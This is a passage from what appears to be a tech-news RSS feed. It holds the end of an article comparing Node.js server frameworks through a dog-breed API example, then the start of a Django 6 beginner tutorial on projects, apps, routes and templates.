  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">The only real difference is the combined context object.</p>



<p class="wp-block-paragraph">Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:</p>



<pre class="wp-block-code"><code>const logger = async (ctx, next) =&gt; {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	</code></pre>



<h3 class="wp-block-heading">Fastify</h3>



<p class="wp-block-paragraph"><a href="https://fastify.dev/">Fastify</a> lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:</p>



<pre class="wp-block-code"><code>const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) =&gt; {
  const id = request.params.id;

  if (id &gt;= 0 &amp;&amp; id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});</code></pre>



<p class="wp-block-paragraph">From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.</p>



<h3 class="wp-block-heading">Hono</h3>



<p class="wp-block-paragraph"><a href="https://hono.dev/">Hono</a> emphasizes simplicity. You can define a server and endpoint with as little as:</p>



<pre class="wp-block-code"><code>const app = new Hono()
app.get('/', (c) =&gt; c.text('Hello, Infoworld!'))  </code></pre>



<p class="wp-block-paragraph">And here’s how our dog breed example looks:</p>



<pre class="wp-block-code"><code>app.get('/dogs/:id', (c) =&gt; {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});</code></pre>



<p class="wp-block-paragraph">As you can see, Hono provides a unified context object, similar to Koa.</p>



<h3 class="wp-block-heading">Nitro.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Nitro</a> is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Intro to Nitro: The server engine built for modern JavaScript</a>.</strong></p>



<p class="wp-block-paragraph">Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:</p>



<pre class="wp-block-code"><code>/api/dogs/:id</code></pre>



<p class="wp-block-paragraph">The handler might look like this:</p>



<pre class="wp-block-code"><code>export default defineEventHandler((event) =&gt; {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.</p>



<h2 class="wp-block-heading">Batteries-included frameworks</h2>



<p class="wp-block-paragraph">Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.</p>



<h3 class="wp-block-heading">Nest.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Nest</a> is a progressive framework built with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Intro to Nest.js: Server-side JavaScript development on Node</a>.</strong></p>



<p class="wp-block-paragraph">Here is an example of injecting a dog finder provider into a controller:</p>



<pre class="wp-block-code"><code>// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}</code></pre>



<p class="wp-block-paragraph">This style is typical of dependency injection frameworks like <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Angular</a>, as well as <a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a>. It allows you to declare components as injectable, then consume them anywhere you need them.</p>



<p class="wp-block-paragraph">In Nest, we’d just add these as modules to make them live.</p>



<h3 class="wp-block-heading">Adonis.js</h3>



<p class="wp-block-paragraph">Like Nest, <a href="https://adonisjs.com/">Adonis</a> provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.</p>



<p class="wp-block-paragraph">Routes in Adonis are very simple:</p>



<pre class="wp-block-code"><code>Route.get('/dogs/:id', [DogsController, 'show'])</code></pre>



<p class="wp-block-paragraph">In this case, <code>DogsController</code> would be the handler for the route, and might look something like:</p>



<pre class="wp-block-code"><code>import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) &amp;&amp; id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}</code></pre>



<p class="wp-block-paragraph">Of course, in a real application, we could define a model layer to handle the actual data access.</p>



<h3 class="wp-block-heading">Sails</h3>



<p class="wp-block-paragraph"><a href="https://sailsjs.com/">Sails</a> is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (<a href="https://sailsjs.com/documentation/reference/waterline-orm">Waterline</a>), API generation (<a href="https://sailsjs.com/documentation/reference/blueprint-api">Blueprints</a>), and realtime support, including <a href="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html" data-type="link" data-id="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html">WebSockets</a>.</p>



<p class="wp-block-paragraph">Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:</p>



<pre class="wp-block-code"><code>/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};</code></pre>



<p class="wp-block-paragraph">If you run this in Sails, the framework will generate default routes and wire up a <a href="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html" data-type="link" data-id="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html">NoSQL</a> or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.</p>



<h2 class="wp-block-heading">Full-stack frameworks</h2>



<p class="wp-block-paragraph">Also known as <a href="https://www.infoworld.com/article/3486850/state-of-javascript-insights-from-the-latest-javascript-community-survey.html">meta-frameworks</a>, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.</p>



<h3 class="wp-block-heading">Next.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next</a> is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.</p>



<p class="wp-block-paragraph">In Next, we could define a route at <code>pages/api/dogs/[id].js</code> like so:</p>



<pre class="wp-block-code"><code>export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}</code></pre>



<p class="wp-block-paragraph">We’d then define the UI component to interact with this route at <code>pages/dogs/[id].js</code>:</p>



<pre class="wp-block-code"><code>import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return <h1>Dog Breed Not Found</h1>;
  }

  return (
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{dog.breed}</strong></p>
    </div>
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;</code></pre>



<h3 class="wp-block-heading">Nuxt.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4025936/nuxt-4-0-improves-project-organization-data-fetching-typescript-support.html">Nuxt</a> is the same idea as Next, but applied to the <a href="http://vue.js/">Vue</a> front end. The basic pattern is the same, though. First, we’d define a back-end route:</p>



<pre class="wp-block-code"><code>// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) =&gt; {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Then, we’d create the UI file in Vue:</p>



<pre class="wp-block-code"><code>// pages/dogs/[id].vue


  <div>
    <div>
      Loading...
    </div>
    <div>
      <h1>{{ error.data.error }}</h1>
    </div>
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{{ dog.breed }}</strong></p>
    </div>
  </div>


</code></pre>



<h3 class="wp-block-heading">SvelteKit</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337758/intro-to-sveltekit-10-the-full-stack-framework-for-svelte.html">SvelteKit</a> is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.</p>



<p class="wp-block-paragraph">In SvelteKit, a back-end route looks like so:</p>



<pre class="wp-block-code"><code>// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">The second component is the UI:</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.svelte



<div>
  <h1>Dog Breed Profile</h1>
  <p>Breed Name: <strong>{data.dog.breed}</strong></p>
</div></code></pre>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.<br><br>If you are building <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.<br><br>If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.<br><br>Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.<br><br>It’s also worth noting that, while Node remains the standard server-side runtime, alternatives <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a> have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>. Bun is respected for its ultra-fast startup and integrated tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
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<title><![CDATA[Django tutorial: Get started with Django 6]]></title>
<description><![CDATA[Django is a one-size-fits-all Python web framework that was inspired by Ruby on Rails and uses many of the same metaphors to make web development fast and easy. Fully loaded and flexible, Django has become one of Python’s most widely used web frameworks.



Now in version 6.0, Django includes vir...]]></description>
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<pubDate>Mon, 13 Jul 2026 17:04:35 +0200</pubDate>
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<p class="wp-block-paragraph">Django is a one-size-fits-all <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> web framework that was inspired by <a href="https://www.infoworld.com/article/2337962/whatever-happened-to-ruby.html">Ruby on Rails</a> and uses many of the same metaphors to make web development fast and easy. Fully loaded and flexible, Django has become one of Python’s most widely used web frameworks.</p>



<p class="wp-block-paragraph">Now in version 6.0, Django includes virtually everything you need to build a web application of any size, and its popularity makes it easy to find examples and help for various scenarios. Plus, Django provides tools to allow your application to evolve and add features gracefully, and to migrate its data schema if there is one.</p>



<p class="wp-block-paragraph">Django also has a reputation for being complex, with many components and a good deal of “under the hood” configuration required. In truth, you can use Django to get a simple Python application up and running in relatively short order, then expand its functionality as needed.</p>



<p class="wp-block-paragraph">This article guides you through creating a basic application using Django 6.0. We’ll also touch on the most crucial features for web developers in the <a href="https://docs.djangoproject.com/en/6.0/releases/6.0">Django 6 release</a>.</p>



<aside class="sidebar large">
<h3>What version of Python do I need?</h3>
<p>To install Django 6.0, you will need Python 3.12 or better. Ideally, you should use the most recent Python version that supports everything you want to do with your Django project, but in some cases, it may not be possible to update. If you’re stuck with an earlier version of Python, you may be able to use Django 5. Consult <a href="https://docs.djangoproject.com/en/6.0/faq/install/#what-python-version-can-i-use-with-django">Django’s Python version table</a> to find out which versions you can use.</p>
</aside>




<h2 class="wp-block-heading">Installing Django</h2>



<p class="wp-block-paragraph">Assuming you have Python 3.12 or higher installed, the first step to installing Django is to <a href="https://www.infoworld.com/article/2260103/virtualenv-and-venv-python-virtual-environments-explained.html">create a virtual environment</a>. Installing Django in the venv keeps Django and its associated libraries separate from your base Python installation, which is always a good practice.</p>



<aside class="sidebar large">
<h3>Note about venvs</h3>
<p>Note that you do not need to use virtual environments to create multiple projects using a single instance of Django. You only need them to isolate different point revisions of the Django framework, each with different projects.</p>
</aside>




<p class="wp-block-paragraph">Next, install Django in your chosen virtual environment via Python’s <code>pip</code> utility:</p>



<pre class="wp-block-code"><code>pip install django</code></pre>



<p class="wp-block-paragraph">This installs the core Django libraries and the <code>django-admin</code> command-line utility used to manage Django projects.</p>



<h2 class="wp-block-heading">Creating a new Django project</h2>



<p class="wp-block-paragraph">Django instances are organized into two tiers: <em>projects</em> and <em>apps</em>.</p>



<ul class="wp-block-list">
<li>A <em>project</em> is an instance of Django with its own database configuration, settings, and apps. It’s best to think of a project as a place to store all the site-level configurations you’ll use.</li>



<li>An <em>app</em> is a subdivision of a project, with its own route and rendering logic. Multiple apps can be placed in a single Django project.</li>
</ul>



<p class="wp-block-paragraph">To create a new Django project from scratch, activate the virtual environment where you have Django installed. Then enter the directory where you want to store the project and type:</p>



<pre class="wp-block-code"><code>django-admin startproject </code></pre>



<p class="wp-block-paragraph">The <code></code> is the name of both the project and the subdirectory where the project will be stored. Be sure to pick a name that isn’t likely to collide with a name used by Python or Django internally. A name like <code>myproj</code> works well.</p>



<p class="wp-block-paragraph">The newly created directory should contain a <code>manage.py</code> file, which is used to control the app’s behavior from the command line, along with another subdirectory (also with the project name) that contains the following files:</p>



<ul class="wp-block-list">
<li>An <code>__init__.py</code> file, which is used by Python to designate a subdirectory as a code module.</li>



<li><code>settings.py</code>, which holds the settings used for the project. Many of the most common settings will be pre-populated for you.</li>



<li><code>urls.py</code>, which lists the routes or URLs available to your Django project, or that the project will return responses for.</li>



<li><code>wsgi.py</code>, which is used by WSGI-compatible web servers, such as Apache HTTP or Nginx, to <a href="https://docs.djangoproject.com/en/6.0/howto/deployment/wsgi">serve your project’s apps</a>.</li>



<li><code>asgi.py</code>, which is used by ASGI-compatible web servers to serve your project’s apps. <a href="https://www.infoworld.com/article/2335107/asgi-explained-the-future-of-python-web-development.html">ASGI</a> is a relatively new standard for asynchronous servers and applications, and requires a server that supports it, like <code>uvicorn</code>. Django only recently added native support for asynchronous applications, which will also need to be <a href="https://docs.djangoproject.com/en/6.0/howto/deployment/asgi">hosted on an async-compatible server</a> to be fully effective.</li>
</ul>



<p class="wp-block-paragraph">Next, test the project to ensure it’s functioning. From the command line in the directory containing your project’s <code>manage.py</code> file, enter:</p>



<pre class="wp-block-code"><code>python manage.py runserver</code></pre>



<p class="wp-block-paragraph">This should start a development web server available at <code>http://127.0.0.1:8000/</code>. Visit that link and you should see a simple welcome page that tells you the installation was successful.</p>



<p class="wp-block-paragraph">Note that the development web server should <em>not</em> be used to serve a Django project to the public. It’s solely for local testing and is not designed to scale for public-facing applications.</p>



<h2 class="wp-block-heading">Creating a Django application</h2>



<p class="wp-block-paragraph">Next, we’ll create an application inside of this project. Navigate to the same directory as <code>manage.py</code> and issue the following command:</p>



<pre class="wp-block-code"><code>python manage.py startapp myapp</code></pre>



<p class="wp-block-paragraph">This creates a subdirectory for an application named <code>myapp</code> that contains the following:</p>



<ul class="wp-block-list">
<li>A migrations directory: Contains code used to <a href="https://docs.djangoproject.com/en/6.0/topics/migrations">migrate the site</a> between versions of its data schema. Django projects typically have a database, so the schema for the database—including changes to the schema—is managed as part of the project.</li>



<li><code>admin.py</code>: Contains objects used by Django’s <a href="https://docs.djangoproject.com/en/6.0/ref/contrib/admin">built-in administration tools</a>. If your app has an admin interface or privileged users, you will configure the related objects here.</li>



<li><code>apps.py</code>: Provides <a href="https://docs.djangoproject.com/en/6.0/ref/applications/">configuration information about the app</a> to the project at large, by way of an <code>AppConfig</code> object.</li>



<li><code>models.py</code>: Contains <a href="https://docs.djangoproject.com/en/6.0/topics/db/models">objects that define data structures</a>, used by your app to interface with databases.</li>



<li><code>tests.py</code>: Contains any <a href="https://docs.djangoproject.com/en/6.0/intro/tutorial05">tests</a> created by you and used to ensure that your site’s functions and modules are working as intended.</li>



<li><code>views.py</code>: Contains functions that <a href="https://docs.djangoproject.com/en/6.0/#the-view-layer">render and return responses</a>.</li>
</ul>



<p class="wp-block-paragraph">To start working with the application, you need to first register it with the project. Edit <code>myproj/settings.py</code> as follows, adding a line to the top of the <code>INSTALLED_APPS</code> list:</p>



<pre class="wp-block-code"><code>
INSTALLED_APPS = [
    "myapp.apps.MyappConfig",
    "django.contrib.admin",
    ...
</code></pre>



<p class="wp-block-paragraph">If you look in <code>myproj/myapp/apps.py</code>, you’ll see a pre-generated object named <code>MyappConfig</code>, which we’ve referenced here.</p>



<h2 class="wp-block-heading">Adding routes and views to your Django application</h2>



<p class="wp-block-paragraph">Django applications follow a basic pattern for processing requests:</p>



<ul class="wp-block-list">
<li>When an incoming request is received, Django parses the URL for a <em>route</em> to apply it to.</li>



<li>Routes are defined in <code>urls.py</code>, with each route linked to a <em>view</em>, meaning a function that returns data to be sent back to the client. Views can be located anywhere in a Django project, but they’re best organized into their own modules.</li>



<li>Views can contain the results of a <em>template</em>, which is code that formats requested data according to a certain design.</li>
</ul>



<p class="wp-block-paragraph">To get an idea of how all these pieces fit together, let’s modify the default route of our sample application to return a custom message.</p>



<p class="wp-block-paragraph">Routes are defined in <code>urls.py</code>, in a list named <code>urlpatterns</code>. If you open the sample <code>urls.py</code>, you’ll see <code>urlpatterns</code> already predefined:</p>



<pre class="wp-block-code"><code>
urlpatterns = [
    path('admin/', admin.site.urls),
]
</code></pre>



<p class="wp-block-paragraph">The <code>path</code> function (a Django built-in) takes a route and a view function as arguments and generates a reference to a URL path. By default, Django creates an <code>admin</code> path that is used for site administration, but we need to create our own routes.</p>



<p class="wp-block-paragraph">Add another entry, so that the whole file looks like this:</p>



<pre class="wp-block-code"><code>
from django.contrib import admin
from django.urls import include, path

urlpatterns = [
    path('admin/', admin.site.urls),
    path('myapp/', include('myapp.urls'))
]
</code></pre>



<p class="wp-block-paragraph">The <code>include</code> function tells Django to look for more route pattern information in the file <code>myapp.urls</code>. All routes found in that file will be attached to the top-level route <code>myapp</code> (e.g., <code>http://127.0.0.1:8080/myapp</code>).</p>



<p class="wp-block-paragraph">Next, create a new <code>urls.py</code> in <code>myapp</code> and add the following:</p>



<pre class="wp-block-code"><code>
from django.urls import path
from . import views

urlpatterns = [
    path('', views.index)
]</code></pre>



<p class="wp-block-paragraph">Django prepends a slash to the beginning of each URL, so to specify the root of the site (<code>/</code>), we just supply a blank string as the URL.</p>



<p class="wp-block-paragraph">Now, edit the file <code>myapp/views.py</code> so it looks like this:</p>



<pre class="wp-block-code"><code>
from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")
</code></pre>



<p class="wp-block-paragraph"><code>django.http.HttpResponse</code> is a Django built-in that generates an HTTP response from a supplied string. Note that <code>request</code>, which contains the information for an incoming HTTP request, must be passed as the first parameter to a view function.</p>



<p class="wp-block-paragraph">Stop and restart the development server, and navigate to <code>http://127.0.0.1:8000/myapp/</code>. You should see “”Hello, world!” appear in the browser.</p>



<h2 class="wp-block-heading">Adding routes with variables in Django</h2>



<p class="wp-block-paragraph">Django can accept routes that incorporate variables as part of their syntax. Let’s say you wanted to accept URLs that had the format <code>year/</code>. You could accomplish that by adding the following entry to <code>urlpatterns</code>:</p>



<pre class="wp-block-code"><code>path(‘year/’, views.year)</code></pre>



<p class="wp-block-paragraph">The view function <code>views.year</code> would then be invoked through routes like <code>year/1996</code>, <code>year/2010</code>, and so on, with the variable year passed as a parameter to <code>views.year</code>.</p>



<p class="wp-block-paragraph">To try this out for yourself, add the above <code>urlpatterns</code> entry to <code>myapp/urls.py</code>, then add this function to <code>myapp/views.py</code>:</p>



<pre class="wp-block-code"><code>
def year(request, year):
    return HttpResponse('Year: {}'.format(year))
    </code></pre>



<p class="wp-block-paragraph">If you navigate to <code>/myapp/year/2010</code> on your site, you should see <code>Year: 2010</code> displayed in response. Note that routes like <code>/myapp/year/rutabaga</code> will yield an error because the <code>int:</code> constraint on the variable year allows only an integer in that position. Many other <a href="https://docs.djangoproject.com/en/6.0/topics/http/urls">formatting options</a> are available for routes.</p>



<aside class="sidebar large">
<h3>Backward compatibility with older Django routes</h3>
<p>Earlier versions of Django had a more complex syntax for routes, which was difficult to parse. If you still need to add routes using the old syntax—for instance, for backward compatibility with an old Django project—you can use the <a href="https://docs.djangoproject.com/en/6.0/ref/urls/#django.urls.re_path">django.urls.re_path function</a>, which matches routes using regular expressions.</p>
</aside>




<h2 class="wp-block-heading">Django templates and template partials</h2>



<p class="wp-block-paragraph">You can use Django’s <a href="https://docs.djangoproject.com/en/6.0/ref/templates/language">built-in template language</a> to generate web pages from data.</p>



<p class="wp-block-paragraph">Templates used by Django apps are stored in a directory that is central to the project: <code>/templates//</code>. For our <code>myapp</code> project, the directory would be <code>myapp/templates/myapp/</code>. This directory structure may seem awkward, but allowing Django to look for templates in multiple places avoids name collisions between templates with the same name across multiple apps.</p>



<p class="wp-block-paragraph">In your <code>myapp/templates/myapp/</code> directory, create a file named <code>year.html</code> with the following content:</p>



<pre class="wp-block-code"><code>Year: {{year}}</code></pre>



<p class="wp-block-paragraph">Any value within double curly braces in a template is treated as a variable. Everything else is treated literally.</p>



<p class="wp-block-paragraph">Modify <code>myapp/views.py</code> to look like this:</p>



<pre class="wp-block-code"><code>
from django.shortcuts import render
from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")

def year(request, year):
    data = {'year':year}
    return render(request, 'myapp/year.html', data)
</code></pre>



<p class="wp-block-paragraph">The <code>render</code> function—a Django “shortcut” (a combination of multiple built-ins for convenience)—takes the existing request object, looks for the template <code>myapp/year.html</code> in the list of available template locations, and passes the dictionary data to it as <em>context</em> for the template. The template uses the dictionary as a namespace for variables used in the template. In this case, the variable <code>{{year}}</code> in the template is replaced with the value for the key year in the dictionary data (that is, <code>data["year"]</code>).</p>



<p class="wp-block-paragraph">The amount of processing you can do on data within Django templates is intentionally limited. Django’s philosophy is to enforce the separation of presentation and business logic whenever possible. Thus, you can loop through an iterable object, and you can perform if/then/else tests, but modifying the data within a template is discouraged.</p>



<p class="wp-block-paragraph">For instance, you could encode a simple “if” test this way:</p>



<pre class="wp-block-code"><code>
{% if year &gt; 2000 %}
21st century year: {{year}}
{% else %}
Pre-21st century year: {{year}}
{% endif %}
</code></pre>



<p class="wp-block-paragraph">The <code>{%</code> and <code>%}</code> markers delimit blocks of code that can be executed in Django’s template language.</p>



<p class="wp-block-paragraph">If you want to use a more sophisticated template processing language, you can swap in something like <a href="https://pypi.org/project/Jinja2">Jinja2</a> or <a href="https://www.makotemplates.org/">Mako</a>. Django includes <a href="https://docs.djangoproject.com/en/6.0/topics/templates/#django.template.backends.jinja2.Jinja2">back-end integration for Jinja2</a>, but you can use any template language that returns a string—for instance, by returning that string in an <code>HttpResponse</code> object, as in the case of our “Hello, world!” route.</p>



<p class="wp-block-paragraph">In versions 6 and up, Django supports <a href="https://docs.djangoproject.com/en/6.0/ref/templates/language/#template-partials">template partials</a>, a way to create portions of a template that can be defined once and reused throughout a template. This lets you precompute a given value once over the course of a given template—such as a fancy display version of a user name—and re-use it without having to recompute it each time it’s displayed.</p>



<h2 class="wp-block-heading">Doing more with Django</h2>



<p class="wp-block-paragraph">What you’ve seen here covers only the most basic elements of a Django application. Django includes a great many other components for use in web projects. Here’s a quick overview:</p>



<ul class="wp-block-list">
<li><strong>Databases and data models</strong>: Django’s <a href="https://docs.djangoproject.com/en/6.0/topics/db">built-in ORM</a> lets you define data structures and relationships between them, as well as migration paths between versions of those structures.</li>



<li><strong>Forms</strong>: Django provides a consistent way for views to supply <a href="https://docs.djangoproject.com/en/6.0/topics/forms">input forms</a> to a user, retrieve data, normalize the results, and provide consistent error reporting. Django 6 added support for <a href="https://docs.djangoproject.com/en/6.0/topics/security/#security-csp">Content Security Policy</a>, a way to prevent submitted forms from being vulnerable to content injection or cross-site scripting (XSS) attacks.</li>



<li><strong>Security and utilities</strong>: Django includes <a href="https://docs.djangoproject.com/en/5.0/#common-web-application-tools">many built-in functions</a> for caching, logging, session handling, handling static files, and normalizing URLs. It also bundles tools for <a href="https://docs.djangoproject.com/en/5.0/#common-web-application-tools">common security needs</a> like using cryptographic certificates or guarding against cross-site forgery protection or clickjacking.</li>



